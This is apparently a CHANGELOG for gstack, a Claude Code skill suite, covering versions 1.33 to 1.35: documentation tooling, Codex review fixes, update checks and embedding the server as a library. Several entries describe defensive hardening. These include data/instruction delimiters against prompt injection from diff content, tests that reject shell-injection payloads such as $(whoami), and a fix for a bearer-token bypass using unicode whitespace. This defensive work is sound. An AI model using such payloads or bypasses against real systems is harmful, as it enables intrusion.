- 13 architectural decisions captured in plan file `~/.claude/plans/the-real-product-fix-squishy-galaxy.md` — including Codex outside-voice findings (4 became structural decisions: keep proactive setup question, route transcripts via artifacts repo, SKIP+brain-sync on broken engine, retry-first repair menu).

## [1.35.0.0] - 2026-05-13

## **Docs become a tracked surface, not an afterthought. `/document-generate` writes them from scratch, `/document-release` audits coverage in four Diataxis quadrants.**
## **Every PR now ships a coverage map of what got documented vs what shipped. New skill generates tutorials, how-tos, references, and explanations from code. Both speak the same vocabulary, so gaps become visible in the PR body instead of accumulating silently.**

You can now run `/document-generate` to write missing documentation from scratch. The skill reads your code first (the codebase archaeology step is non-skippable), maps the public surface, then writes docs in the four Diataxis quadrants: tutorial (newcomer walkthrough), how-to (task-oriented), reference (factual API description), explanation (design rationale). It runs standalone or chains automatically from `/document-release` when the coverage map finds gaps. `/document-release` got a Step 1.5 coverage map that scores every new entity across the four quadrants. Items with zero coverage show up as critical gaps in the PR body. Items with reference-only coverage show up as common gaps. Architecture diagrams get scanned for entity-name drift against the diff. The CHANGELOG voice check now uses a 0-3 sell-test rubric: 1 point each for "what changed?", "why care?", and "how to use it?". Entries below 2 get rewritten.

A new section in CLAUDE.md documents the fork-PR workflow for `garrytan-agents` PRs: push the branch to `garrytan/gstack` and re-target so eval CI can access secrets. The pattern keeps secret distribution scoped to one branch instead of broadening it to all forks.

### The numbers that matter

Source: this PR's diff against `origin/main` and the new skill template at `document-generate/SKILL.md.tmpl`.

| Surface | Before | After |
|---------|--------|-------|
| Doc-generation skills | 1 (`/document-release`) | 2 (`/document-generate` + enhanced `/document-release`) |
| Diataxis quadrants surfaced in PR body | 0 | 4 (tutorial / how-to / reference / explanation) |
| `/document-release` workflow steps | 9 | 9 + new Step 1.5 (coverage map) |
| CHANGELOG voice scoring | gut-check ("would a user think 'oh nice'?") | 0-3 rubric (3 = reference + explanation + how-to all present) |
| Architecture diagram drift detection | none | scans ARCHITECTURE.md against diff for renamed/removed entities |
| Doc-debt visibility in PR | none | `### Documentation Debt` subsection with critical + common gaps per Diataxis quadrant |

`/document-generate` is 446 lines of new template producing a 1184-line generated SKILL.md. The Diataxis vocabulary makes "did docs get updated?" a visible answer instead of an implicit one.

### What this means for downstream gstack users

You stop guessing whether your docs are complete. When you ship a new skill, `/document-release` shows you which quadrants you covered and which you skipped, and the gaps land in the PR body where reviewers see them. When you want to bootstrap docs for an existing project, `/document-generate` walks you from zero to four-quadrant coverage in one session. Diataxis becomes the shared vocabulary across `/ship`, `/document-release`, `/document-generate`, and whatever skill comes next that needs to know whether you have a tutorial.

To use: run `/document-release` after `/ship` (or let `/ship` auto-invoke it), see the coverage map in the PR body, then run `/document-generate` if it flags critical gaps.

### Itemized changes

#### Added

- **`/document-generate` skill** (`document-generate/SKILL.md.tmpl`, 446 lines): Diataxis-based documentation generator with 9-step workflow — scope, codebase archaeology, partition, reference, explanation, how-to, tutorial, cross-linking, quality self-review. Reads the full codebase before writing a single line of docs.
- **`/document-release` Step 1.5 — Coverage Map**: scans diff for new public surface (skills, CLI flags, config options, API endpoints), classifies each entity by Diataxis quadrant coverage, flags zero-coverage items as critical gaps and reference-only as common gaps. Output feeds the PR body.
- **`/document-release` Architecture diagram drift detection**: extracts entity names from ASCII/Mermaid blocks in ARCHITECTURE.md, cross-references against the diff, flags renamed/removed entities.
- **`/document-release` `### Documentation Debt` section in PR body**: surfaces critical gaps, common gaps, and stale diagrams with a one-line description + Diataxis quadrant per item. Suggests adding a `docs-debt` label.
- **`/document-release` CHANGELOG sell-test rubric**: 0-3 scoring per entry (1 point each for reference / explanation / how-to coverage). Entries below 2 get rewritten.
- **Skill routing entry**: `/document-generate` added to `SKILL.md` routing rules and `README.md` skills table (Technical Writer category).
- **CLAUDE.md fork-PR workflow section**: documents how to handle "check out <PR link>" when the PR is from a non-collaborator fork. Push the branch to `garrytan/gstack`, close the fork PR, open a new PR from the base-repo branch. Keeps secret distribution scoped.

#### Changed
- `/document-release` description and triggers updated to reference the coverage map and `/document-generate` chaining.
- README.md skills table grouping: `/document-release` and `/document-generate` now appear under the Technical Writer category.

#### For contributors
- `document-generate/SKILL.md` is generated from `document-generate/SKILL.md.tmpl`. Do not edit the `.md` directly. Run `bun run gen:skill-docs` after template edits.
- `gstack/llms.txt` now lists `/document-generate` (auto-regenerated from the skill template).

## [1.34.2.0] - 2026-05-13

## **Three filed bugs land in one PR. `/codex review`, `/investigate` learnings, and `/sync-gbrain` engine detection all work again.**
## **One CLI bump broke `/codex review`. One forgotten allowlist silently dropped years of investigation history. One stacking pair of bugs no-op'd `/sync-gbrain` for every Supabase user. All three are fixed with regression tests that lock the patterns in.**

`/codex review` died the day Codex CLI 0.130.0 shipped. The new CLI made `[PROMPT]` and `--base <branch>` mutually exclusive, and Step 2A had always passed both, so every review call exited before talking to a model. Fix: bare `codex review --base` for the default case, `codex exec` with a tempfile-backed prompt and DIFF_START/DIFF_END delimiters for the `/codex review <focus>` case. The exec route preserves the filesystem boundary instruction; the bare route ships without it because Codex 0.130 has no documented system-prompt config key, and the skill files those instructions guarded are public. Custom-instructions reviews now also defend against prompt injection from adversarial diff content (the delimiter pattern tells the model where data ends and instructions resume).

`/investigate` told the agent to log learnings with `type: "investigation"`, but `bin/gstack-learnings-log:22` rejected anything not in `[pattern, pitfall, preference, architecture, tool, operational]`. Every investigation run since the type was introduced wrote a stderr message and exited 1, silently to the user because nothing checked the exit code. Years of root-cause findings went nowhere. One-line fix: add `investigation` to `ALLOWED_TYPES`.

`/sync-gbrain` returned `engine: "unknown"` for every Supabase user on gbrain ≥ 0.25. Two stacking bugs. `execSync("gbrain doctor --json --fast 2>/dev/null")` threw on non-zero exit (gbrain doctor exits 1 whenever `health_score < 100`, which is essentially every fresh install due to `resolver_health` warnings), so the JSON output never reached the parser. And gbrain ≥ 0.25 dropped the top-level `engine` field from doctor output anyway. The fix recovers stdout from the thrown error object and falls back to reading `~/.gbrain/config.json` (respecting `GBRAIN_HOME`) when doctor doesn't surface an engine. Also moves the call from `execSync` to `execFileSync` so the shell redirect isn't a Windows-portability footgun, and adds error logging to `~/.gstack/.gbrain-errors.jsonl` so future parse failures are visible.

### The numbers that matter

Source: `bun test test/gstack-memory-helpers.test.ts test/learnings.test.ts test/codex-hardening.test.ts` (75 tests, 149 expect calls, 26 seconds) plus repo-relative smoke-tests against Codex CLI 0.130.0 and synthetic gbrain configs in temp `GBRAIN_HOME`.

| Bug | Before | After |
|---|---|---|
| `/codex review` on Codex CLI 0.130.0 | `error: the argument '[PROMPT]' cannot be used with '--base <BRANCH>'`, every call dies | Bare review works; `/codex review <focus>` routes through `codex exec` with DIFF_START/END markers |
| `/codex review <focus>` prompt injection surface | Diff content interpolated into prompt with no data/instructions boundary | DIFF_START/DIFF_END delimiters plus tempfile pattern, explicit "treat as data" instruction to the model |
| `/investigate` learning persistence | Exit 1 to stderr, no log written, invisible to user | Exit 0, learning appended, future sessions see prior root-cause findings |
| `/sync-gbrain` engine on gbrain ≥ 0.25 + Supabase | `engine=unknown`, all sync stages skip silently | Resolves to `supabase` via doctor stdout recovery or `~/.gbrain/config.json` fallback |
| Test isolation when running on a developer's real config | Tests read real `~/.gbrain/config.json`, pass-or-fail by reviewer's machine | Tests set `HOME` + `GBRAIN_HOME` + `PATH` to temp dirs, deterministic |
| Codex template regression guard | None, the broken state shipped to main | Static test asserts no `codex review` line combines a quoted prompt with `--base`, across both `.tmpl` source AND generated `SKILL.md` |

### What this means for builders

If you have been seeing `/codex review` fail on argv parsing since Codex CLI hit 0.130.0, run `/gstack-upgrade` to pick this up. If you ran `/investigate` between the type's introduction and this release, your learnings were dropped (they exit-1'd to stderr only, so there is nothing to recover), but going forward every investigation's root-cause finding is logged and retrievable. If you use gbrain with a Supabase backend and `/sync-gbrain` has been quietly doing nothing, this release brings it back. The three reporters (`Stashub` on #1428, `diogolealassis` on #1423, `Shiv @shivasymbl` on #1415) each filed a clean repro, and in Shiv's case shipped a tested patch. Credit where it is due.

### Itemized changes

#### Fixed

- **`codex/SKILL.md.tmpl` Step 2A** — replaced the unconditional `codex review "$boundary" --base <base>` invocation with a two-path branch. Default (no custom user instructions): bare `codex review --base <base>`. Custom instructions: `codex exec -s read-only "$(cat $_PROMPT_FILE)"` where `$_PROMPT_FILE` contains the filesystem boundary, the user's focus, and the diff between `DIFF_START` / `DIFF_END` markers. Probed `-c 'system_prompt="..."'` against Codex 0.130; the key isn't documented and silently no-ops, so the bare path ships without a re-injected boundary. Skill files under `.claude/` and `agents/` are public, so this is token efficiency, not safety. Contributed report by `Stashub` on #1428.
- **`bin/gstack-learnings-log`** — added `'investigation'` to `ALLOWED_TYPES` (was: `[pattern, pitfall, preference, architecture, tool, operational]`). Updated the usage comment to list valid types. Contributed report by `diogolealassis` on #1423.
- **`lib/gstack-memory-helpers.ts`** — rewrote `freshDetectEngineTier`. Three changes: switched `execSync` to `execFileSync` to drop the bash-specific `2>/dev/null` shell redirect (portable to Windows); recover stdout from the thrown error object so non-zero exits from `gbrain doctor` don't lose the JSON; fall back to reading `gbrain` config (respecting `$GBRAIN_HOME`, defaulting to `~/.gbrain/config.json`) when doctor output doesn't surface an `engine` field. Added `logGbrainError` helper that appends one-line JSONL to `~/.gstack/.gbrain-errors.jsonl` on parse failure. Patch shape contributed by `Shiv @shivasymbl` on #1415; tested against gstack v1.31.0.0 + gbrain v0.31.3 + Supabase.

#### Added

- **`test/gstack-memory-helpers.test.ts`** — `detectEngineTier` regression test for the schema_version:2 fallback path. Sets `HOME`, `GSTACK_HOME`, `GBRAIN_HOME`, and `PATH` to temp dirs (so the test doesn't read the developer's real `~/.gbrain/config.json` or invoke a real `gbrain`), writes a synthetic `{"engine":"postgres","database_url":"..."}` to the temp `GBRAIN_HOME`, asserts `detectEngineTier()` returns `engine: "supabase"`. The existing `detectEngineTier` `beforeEach`/`afterAll` blocks were also extended to isolate `HOME` and `GBRAIN_HOME`, closing a flake source where the prior tests would read whatever was on the reviewer's machine.
- **`test/learnings.test.ts`** — two tests for the `investigation` type. One round-trips `gstack-learnings-log` with `type: "investigation"` and asserts the file gets the entry. The other reads `investigate/SKILL.md.tmpl` and asserts it emits `"type":"investigation"` verbatim, caller contract guard against the template drifting to an invalid type.
- **`test/codex-hardening.test.ts`** — two tests applied to BOTH `codex/SKILL.md.tmpl` AND the generated `codex/SKILL.md`. The first parses Step 2A's section and asserts no `codex review` invocation line combines a quoted-prompt or variable positional argument with `--base`. The second asserts that Step 2A still contains either bare `codex review --base` OR `codex exec`, guards against accidentally deleting both fix paths in a future edit.

#### For contributors

- The probe for `-c 'system_prompt="..."'` support in Codex 0.130 lives in the plan, not the codebase. If a future Codex release exposes a real system-prompt config key, re-injecting the filesystem boundary in bare `codex review --base` is a 3-line follow-up patch to `codex/SKILL.md.tmpl`.
- The "supabase" engine tier means "remote postgres" in practice. Gbrain config uses `engine: "postgres"` for both real Supabase and local-postgres-for-testing, and `freshDetectEngineTier` maps both to `"supabase"` because downstream sync code treats them identically. The label compression is documented inline.

## [1.34.1.0] - 2026-05-13

## **`gstack-update-check` resolves remote VERSION via a SHA-pinned URL.**
## **A semver-order guard makes sure the script never proposes a downgrade.**

The version check now runs `git ls-remote https://github.com/garrytan/gstack.git refs/heads/main` to get the live HEAD SHA, then fetches `raw.githubusercontent.com/garrytan/gstack/<SHA>/VERSION`. SHA-pinned raw URLs are immediately consistent, so a freshly-published VERSION shows up right away instead of trailing behind the branch-raw CDN by several minutes. A second guard treats `REMOTE < LOCAL` as up-to-date, so transient stale-CDN responses and dev installs running ahead of main can never produce a backwards `UPGRADE_AVAILABLE` line. The `git ls-remote` call is fenced with `GIT_TERMINAL_PROMPT=0` plus a 5-second low-speed timeout so flaky networks and captive portals cannot hang a skill preamble.

### The numbers that matter

Source: `bun test browse/test/gstack-update-check.test.ts` — 35 existing tests + 3 new semver-guard tests, all green in 1.65s.

| Surface | Before | After |
|---|---|---|
| Remote VERSION fetch | branch-raw URL (`/garrytan/gstack/main/VERSION`), can serve stale content for minutes after a push | `git ls-remote` SHA, then SHA-pinned raw URL (immediately consistent), branch-raw kept as fallback |
| Behavior when REMOTE < LOCAL | `UPGRADE_AVAILABLE <local> <older>` (backwards downgrade prompt) | `UP_TO_DATE <local>` (silent, semver-order guard via `sort -V`) |
| `GSTACK_REMOTE_URL` override semantics | Always honored | Skipped when explicit; preserves `file://` test fixtures and private mirrors |
| `git ls-remote` hang exposure | Not used | `GIT_TERMINAL_PROMPT=0` + `GIT_HTTP_LOW_SPEED_LIMIT=1000` + `GIT_HTTP_LOW_SPEED_TIME=5` enforce a 5-second floor on hung connections |
| Multi-segment version comparison | `[ "$LOCAL" = "$REMOTE" ]` only | `printf "%s\n%s\n" $LOCAL $REMOTE | sort -V | tail -1` validates ordering. `1.9.0.0 < 1.10.0.0` both directions |
| Test coverage for these failure modes | 0 tests | 3 new tests: REMOTE older than LOCAL, multi-segment forward, multi-segment reverse |

The semver guard catches the failure shape directly. If GitHub's branch-raw CDN ever serves stale content again, the script stays silent instead of asking the user to "upgrade" to a version they already passed.

### What this means for builders

Run `/gstack-upgrade` immediately after a new release and the script finds the new VERSION via the live ref instead of waiting for the CDN to refresh. Dev installs running ahead of main also stay quiet now, no more backwards prompts every preamble. No action required, the fix is automatic on upgrade.

### Itemized changes

#### Fixed

- **`bin/gstack-update-check`** — replaced the unconditional `curl` of `raw.githubusercontent.com/.../main/VERSION` with a SHA-pinned fetch path that resolves the live HEAD via `git ls-remote` first, then curls `raw.githubusercontent.com/garrytan/gstack/<SHA>/VERSION`. Branch-raw fetch kept as fallback when `git ls-remote` is unavailable or `GSTACK_REMOTE_URL` is explicitly set.
- **`bin/gstack-update-check`** — added a semver-order guard. After fetching REMOTE, the script runs `sort -V` to confirm REMOTE > LOCAL before emitting `UPGRADE_AVAILABLE`. When LOCAL is at or ahead of REMOTE, it writes `UP_TO_DATE` and exits silently.
- **`bin/gstack-update-check`** — fenced `git ls-remote` with `GIT_TERMINAL_PROMPT=0`, `GIT_HTTP_LOW_SPEED_LIMIT=1000`, and `GIT_HTTP_LOW_SPEED_TIME=5` so a flaky network cannot hang every skill preamble.

#### Added

- **`browse/test/gstack-update-check.test.ts`** — 3 new tests covering: REMOTE older than LOCAL stays silent and caches `UP_TO_DATE`, multi-segment `1.9.0.0 < 1.10.0.0` produces `UPGRADE_AVAILABLE`, multi-segment `1.10.0.0 > 1.9.0.0` stays silent.

## [1.34.0.0] - 2026-05-12

## **GStack is now consumable as a submodule.**
## **Five new exported helpers + `AUTH_TOKEN` env injection + `import.meta.main` gate let downstream Bun projects embed the browse server without forking.**

GStack's `browse/src/server.ts` started life as a CLI entry point: import it and it would bind `Bun.serve` at module load, claim a random port, and write project state to your `.gstack/` dir. Every embedder that wanted to consume gstack as a library had to fork or vendor the file. This release flips that. The browse server now ships an exported API surface (`ServerConfig`, `ServerHandle`, `resolveConfigFromEnv`, `start`), honors `process.env.AUTH_TOKEN` for embedder-driven token allocation, and gates all module-load side effects on `import.meta.main` so plain `import` from a third-party Bun program runs zero side effects. The fetch-handler factory contract is documented in the new types; the runtime factory function (`buildFetchHandler`) is a deliberate follow-up — Phoenix can ship today against the start()+env surface.

The same release ships three security hardening fixes from adversarial review and a real TDZ regression bug fix that surfaced only when `claude` is missing from `PATH`.

### The numbers that matter

Source: `bun test browse/test/` against this branch — 5 new test files + 1 extended.

| Surface | Before | After |
|---|---|---|
| Import `browse/src/server.ts` from a third-party process | Auto-starts a daemon, binds `Bun.serve`, writes state | No side effects (gated on `import.meta.main`) |
| `AUTH_TOKEN` source | Always `crypto.randomUUID()` at module load | `process.env.AUTH_TOKEN` (sanitized, >= 16 chars after unicode-whitespace strip) → randomUUID fallback |
| Exported API for embedders | None (`start` was internal, no types) | `ServerConfig`, `ServerHandle`, `resolveConfigFromEnv`, `start`, `sanitizeAuthToken` |
| `isCustomChromium()` detection | Did not exist | Exported helper: `GSTACK_CHROMIUM_KIND=custom-extension-baked` preferred, path substring fallback |
| Chromium profile path | Hardcoded `$HOME/.gstack/chromium-profile` | `resolveChromiumProfile(explicit?)` honors arg → `CHROMIUM_PROFILE` env → `$GSTACK_HOME/chromium-profile` |
| Stale `SingletonLock` / `Socket` / `Cookie` cleanup | Inline at two callsites with raw `fs.unlinkSync` | One helper (`cleanSingletonLocks`) with absolute-path requirement + basename-or-env match guard |
| TDZ on missing `claude` CLI | Latent `ReferenceError` in `checkTranscript` early-return path | `finish()` hoisted above `resolveClaudeCommand()` + try/catch wrap |
| `AUTH_TOKEN=$''` (BOM-only) accepted by `.trim()` | Yes (one-character bearer secret) | No (rejected by unicode-whitespace strip + 16-char minimum) |
| Tests covering new surfaces | 0 | 34 new tests across 5 files (16 in extended `config.test.ts`, 8 `isCustomChromium`, 1 TDZ regression, 12 factory API + side-effect guard) |

The adversarial review pass found the BOM-token bypass before merge — `.trim()` strips ASCII whitespace but not U+FEFF / U+200B / U+00A0. New `sanitizeAuthToken()` uses a unicode-aware regex and rejects anything shorter than 16 chars after stripping, so a misconfigured embedder can no longer ship a one-character bearer.

### What this means for builders embedding gstack

Phoenix and any future Bun-based consumer can now `import { start, resolveConfigFromEnv } from 'browse-server-upstream/browse/src/server'`, set `AUTH_TOKEN` + `BROWSE_PORT` env, and run gstack as a child without forking. The exported `ServerConfig` documents the full factory contract for the eventual `buildFetchHandler` runtime — when that lands in the follow-up PR, today's API surface becomes a no-op compat shim. Run `/gstack-upgrade` to pick it up. The browse CLI behavior (`bun run dev <command>`) is unchanged.

### Itemized changes

### Added
- `browse/src/config.ts`: `resolveGstackHome()` (honors `GSTACK_HOME`, falls back to `os.homedir()/.gstack`), `resolveChromiumProfile(explicit?)`, `cleanSingletonLocks(dir)` with defensive absolute-path + basename/env guard.
- `browse/src/browser-manager.ts`: exported `isCustomChromium()` with `GSTACK_CHROMIUM_KIND=custom-extension-baked` preferred signal, substring fallback on `GSTACK_CHROMIUM_PATH`.
- `browse/src/server.ts`: `ServerConfig` and `ServerHandle` types, `resolveConfigFromEnv()`, `sanitizeAuthToken()`, exported `start()`. `AUTH_TOKEN` honors env with unicode-aware sanitization.
- `browse/test/config.test.ts`: 16 new tests (env precedence, defensive guards, ENOENT idempotency).
- `browse/test/browser-manager-custom-chromium.test.ts`: 8 tests covering env-kind, path substring, stock chromium, playwright-bundled cases.
- `browse/test/security-classifier-tdz.test.ts`: regression test for the missing-CLI degraded path (IRON RULE).
- `browse/test/server-factory.test.ts`: 14 tests covering AUTH_TOKEN env semantics + type-surface compile checks + preserved exports.
- `browse/test/server-no-import-side-effects.test.ts`: subprocess sentinel proving `import` doesn't auto-start.

### Changed
- `browse/src/security-classifier.ts`: `finish()` hoisted above `resolveClaudeCommand()` in `checkTranscript` Promise executor. `resolveClaudeCommand()` and `spawn()` calls wrapped in try/catch that degrade to a structured signal instead of rejecting the Promise.
- `browse/src/browser-manager.ts` `launchHeaded`: `--load-extension` gated on `!isCustomChromium()` (prevents `ServiceWorkerState::SetWorkerId` DCHECK with extension-baked custom Chromium). Profile path switches to `resolveChromiumProfile()`. Pre-launch `cleanSingletonLocks(userDataDir)` added.
- `browse/src/server.ts`: signal handlers (SIGINT, SIGTERM, Windows `exit`, `uncaughtException`, `unhandledRejection`) and the auto-kickoff `start().catch(...)` at module bottom now gated on `import.meta.main`. `shutdown()` and `emergencyCleanup()` swap inline `SingletonLock`/`Socket`/`Cookie` loops for `cleanSingletonLocks(resolveChromiumProfile())`.

### Fixed
- TDZ `ReferenceError` in `checkTranscript` when `claude` CLI is missing from `PATH` (latent — only triggered the dormant code path).
- AUTH_TOKEN unicode-whitespace bypass: `.trim()` only stripped ASCII whitespace, so a `process.env.AUTH_TOKEN=$''` (BOM) or `$'​'` (zero-width space) became a one-character bearer secret. New `sanitizeAuthToken()` strips all unicode whitespace and rejects anything shorter than 16 chars.
- `cleanSingletonLocks` path-traversal hardening: now requires absolute paths and matches against absolute-resolved `CHROMIUM_PROFILE` env, blocking CWD-relative footguns.

### For contributors
- The full `buildFetchHandler` runtime extraction (hybrid hoist of 13 module-level mutables into a factory closure, plus `beforeRoute` auth-then-hook wiring, plus `stopListeners` implementation) is **deferred to a follow-up PR**. The exported types document the eventual contract; today's release ships the minimum-viable surface so Phoenix can land v0.6.0.0 against `import { start }` + AUTH_TOKEN env.
- See `/Users/garrytan/.claude/plans/system-instruction-you-are-working-swirling-fountain.md` for the full plan + 13 decisions + codex outside-voice tensions resolved.

## [1.33.2.0] - 2026-05-11

## **`./setup` no longer pollutes the global install when run from a Conductor worktree.**
## **Six-line bash guard catches the BSD `ln -snf` footgun that was leaking per-worktree symlinks into `~/.claude/skills/gstack/`.**

When you ran `./setup` from a Conductor worktree of the gstack repo itself (e.g. `~/conductor/workspaces/gstack/dublin-v1`), it would silently corrupt your global install. The "register this checkout as the active gstack" branch did `ln -snf "$SOURCE_GSTACK_DIR" "$HOME/.claude/skills/gstack"`. On macOS and BSD, when the destination is an existing real directory (your global git clone), `ln -snf` does NOT replace it. It creates a child symlink INSIDE: `~/.claude/skills/gstack/dublin-v1 → ~/conductor/workspaces/gstack/dublin-v1`. Claude Code reads every directory in `~/.claude/skills/` that contains a `SKILL.md`, so each leaked worktree showed up as its own top-level skill: `/dublin-v1`, `/wellington`, `/santiago-v1`, etc. The skill picker filled with noise.

The fix in `setup` checks whether `~/.claude/skills/gstack` is already a real (non-symlink) directory whose resolved `pwd -P` differs from `$SOURCE_GSTACK_DIR`. If so, refuse the `ln -snf`, print a four-line remediation hint, and exit the Claude registration branch cleanly. Binaries (`browse`, `design`, `make-pdf`, `find-browse`) still build locally for dev. The four other code paths through the same branch (fresh install, retarget existing symlink, self-rerun pointing to the same dir, `--local`) are unchanged.

### The numbers that matter

Source: `bun test test/setup-conductor-worktree.test.ts` — 8 tests covering every branch of the new guard plus a behavioral reproduction of the BSD `ln -snf` bug itself.

| Scenario | Before | After |
|---|---|---|
| `./setup` from worktree A with global install present | Leaks `~/.claude/skills/gstack/A → workspaces/gstack/A` | Skipped with remediation hint |
| `./setup` from N sibling worktrees over a week | N child symlinks accumulate inside global install | 0 leaks |
| Claude Code skill picker shows extra entries | Yes: `dublin-v1`, `wellington`, `santiago-v1`, etc. | No |
| Fresh install (no existing global) | Worked | Worked (unchanged path) |
| Re-running `./setup` from inside the global install | Worked | Worked (unchanged path) |
| Test coverage of the guard | 0 tests | 8 tests, all branches |

The behavioral test in `test/setup-conductor-worktree.test.ts` actually invokes `ln -snf SRC DST` against a real tmpdir to prove the macOS/BSD child-symlink behavior happens, then re-runs with the new guard to prove the leak doesn't. The bug is now documented in the test suite, not just the patch.

### What this means for builders

If you've been seeing extra top-level skills (`/dublin-v1`, `/wellington`, etc.) in Claude Code, that's the leak. Run `/gstack-upgrade` to pick up this fix, then manually remove the existing child symlinks: `cd ~/.claude/skills/gstack && find . -maxdepth 1 -type l -delete`. The guard prevents new leaks from `./setup` runs in any Conductor worktree of the gstack repo. If you actually want to register a worktree as the active gstack (rare, usually only when dogfooding a big in-progress change), remove the global install first: `rm -rf ~/.claude/skills/gstack && cd <your-worktree> && ./setup`.

### Itemized changes

#### Fixed

- **`setup`** — added Conductor worktree guard before `ln -snf "$SOURCE_GSTACK_DIR" "$CLAUDE_GSTACK_LINK"`. Checks `[ -d "$CLAUDE_GSTACK_LINK" ] && [ ! -L "$CLAUDE_GSTACK_LINK" ]` for a real directory, then `cd ... && pwd -P` to compare against the source. If they differ, sets `_SKIP_CLAUDE_REGISTER=1`, prints a remediation message naming both paths, and exits the Claude registration branch without touching the global install.

#### Added

- **`test/setup-conductor-worktree.test.ts`** — 8 tests (27 expect calls) covering: guard placement in `setup` before `ln -snf`, `pwd -P` resolution against `$SOURCE_GSTACK_DIR`, the skip-branch's remediation message, BSD `ln -snf` reproducer (proves the bug shape exists), guard skips when dest is real-dir-elsewhere, guard allows ln when dest doesn't exist, guard allows ln when dest is an existing symlink (upgrade-in-place), guard allows ln when dest already resolves to source (self-rerun).

#### For contributors

- The guard intentionally does NOT clean up pre-existing pollution inside `~/.claude/skills/gstack/`. Users must remove leaked symlinks manually (see "What this means for builders" above). Retroactive cleanup would require a separate migration script, filed for a future release if the manual remediation friction becomes noticeable.

## [1.33.1.0] - 2026-05-11

## **Long skills stop drifting away from their starting context.**
## **`/investigate`, `/qa`, and `/ship` now pull learnings keyed to what they're actually about, and refresh that pull mid-flow as work shifts to new sub-tasks.**

For the last 30+ versions, every gstack skill loaded learnings the same way: `gstack-learnings-search --limit 10` at the top, generic top-10 by confidence, no query, no refresh. Short skills were fine, they finish before the loaded learnings go stale. Long skills (`/investigate` walks 4 phases, `/qa` runs a multi-bug fix loop, `/ship` covers ~20 steps from test to bump to PR) drifted away from whatever was loaded at minute zero. By the time `/ship` reaches Step 12 (VERSION bump), the learnings it pulled at Step 1 are about whatever was the highest-confidence entry in your project, not about the headline feature you're shipping.

Two changes ship in this release: per-skill task-shaped queries at the top of the three long skills, and a mid-flow refresh checkpoint inside each one that re-pulls learnings keyed to the sub-task that's about to begin. Both rely on a fix to `bin/gstack-learnings-search` itself. The binary's `--query` flag previously used whole-string substring match against key/insight/files, so a query like `"debug investigation"` would only match a learning whose insight contained that exact contiguous phrase. The flag is now token-OR: split on whitespace, match if ANY token appears in any haystack field. This is what most users expect from a search flag.

### The numbers that matter

Source: this project's local `learnings.jsonl` (35 entries as of this release). Same query, same flag, before vs after the binary fix:

| Query | Before (substring) | After (token-OR) | Δ |
|-------|-------------------|------------------|---|
| `"debug investigation root cause"` | 0 entries matched | 5 entries matched | +5 |
| `"qa testing bug regression"` | 0 entries matched | 2 entries matched | +2 |
| `"release ship version changelog"` | 0 entries matched | 8 entries matched | +8 |
| `"skill resolver"` | 0 entries matched | 12 entries matched | +12 |

Recall on the static skill-shaped queries went from zero to relevant. Without this fix, the rest of the change would have been silent. The bash would run, the binary would exit 0 with no output, and the skill would render the same empty section it always rendered.

### What this means for builders

If you run `/investigate` on a bug, the top-of-skill learnings pull now surfaces prior investigation patterns instead of unrelated top-10 confidence entries. When you finish Phase 1 (naming a root-cause hypothesis), a mid-flow refresh fires and re-pulls learnings keyed to your hypothesis keyword, so prior fixes for the same problem-shape land in the agent's context right when they're relevant. Same pattern for `/qa` (refresh before the fix loop, keyed to the buggy component) and `/ship` (refresh before the VERSION/CHANGELOG step, keyed to the headline feature). The other 13 short-lived skills are unchanged: their existing top-10 generic pull is still right for their attention span.

### Itemized changes

#### Changed

- **`bin/gstack-learnings-search`** now uses token-OR `--query` semantics. Multi-word queries split on whitespace and match if ANY token appears as a substring in ANY of key/insight/files. Single-word queries behave exactly as before. No flag changes; same CLI surface. The old whole-string substring behavior was a silent footgun that returned nothing on real-world learnings stores. New test file `test/gstack-learnings-search.test.ts` covers the three branches (multi-token, single-token, no-query backwards compat).
- **`scripts/resolvers/learnings.ts`** `{{LEARNINGS_SEARCH}}` macro now accepts a `query=KEYWORD` argument. Empty value falls through to no-query (principle of least surprise: a stray `{{LEARNINGS_SEARCH:query=}}` placeholder gets today's behavior, not a build failure). Pattern reuses the parameterized-macro infrastructure from `composition.ts`. The 13 templates that don't pass a query stay byte-identical in their generated SKILL.md output. Shell-injection guard: the query value is whitelisted to `^[A-Za-z0-9 _-]+$` at gen-skill-docs time, so any `$()`, backticks, semicolons, or quotes in a future template throw a loud build error instead of emitting executable bash.
- **`investigate/SKILL.md.tmpl`** top-of-skill learnings pull keyed to `debug investigation root cause hypothesis bug fix`. New mid-flow refresh block between Phase 1 (hypothesis) and Phase 2 (analysis) instructs the agent to pick one alphanumeric-only keyword from the hypothesis and re-pull. Worked examples included (good: `auth-cookie`, `session-expiry`; bad: `auth.ts:47`, `<hypothesis-keyword>`).
- **`qa/SKILL.md.tmpl`** top-of-skill pull keyed to `qa testing bug regression flake fixture`. Mid-flow refresh inserted between Phase 7 (triage) and Phase 8 (fix loop), keyed to the buggy component name.
- **`ship/SKILL.md.tmpl`** top-of-skill pull keyed to `release ship version changelog merge pr`. Mid-flow refresh inserted just before Step 12 (VERSION bump), keyed to the headline feature on this branch.
- **`test/gen-skill-docs.test.ts`** 5 new resolver assertions: no-args has no `--query`, claude+query=foo bar appears in BOTH cross-project and project-scoped branches, codex host gets `--query` in the codex bash variant, empty value `query=` falls through to no-query, AND shell-injection payloads (`$(whoami)`, backticks, `;`, `&`, `"`, `\`, `$x`) throw a build error.
- **All generated `SKILL.md` files for the 3 long skills + 4 host outputs** regenerated. The other 13 skills' generated output is byte-identical (backwards-compat verified via diff).

The static-skill query expansion was also informed by a key fact-check from Codex outside-voice review: the binary's `--query` was single-substring match, not token-OR, which silently invalidated any multi-word query in the wild.

## [1.33.0.0] - 2026-05-11

## **`/sync-gbrain` memory stage no longer infinite-loops or silently throws away progress.**
## **Per-file gitleaks scanning is opt-in, signal handling actually kills the gbrain child, and state writes are atomic.**

`/sync-gbrain` memory ingest used to spawn `gitleaks detect` plus `gbrain put` once per file across 1,841+ transcripts and artifacts, then the orchestrator SIGTERM'd the whole pipeline at 35 minutes with no state flush. Every cold run started from zero and burned 35 minutes for nothing. v1.33 rewrites the memory stage around `gbrain import <dir>` (batch path that's been in gbrain since v0.20). The prepare phase walks sources, parses transcripts and artifacts, writes prepared markdown into a hierarchical staging directory mirroring slug structure, then invokes `gbrain import` once. Per-file failures get read back from `~/.gbrain/sync-failures.jsonl` via a byte-offset snapshot so the state file only records files that actually landed in PGLite. `--scan-secrets` is now an opt-in flag because `gstack-brain-sync` already runs a regex-based secret scanner at the actual cross-machine boundary (git push), making per-file ingest scans redundant defense-in-depth that cost ~470 seconds on every cold run.

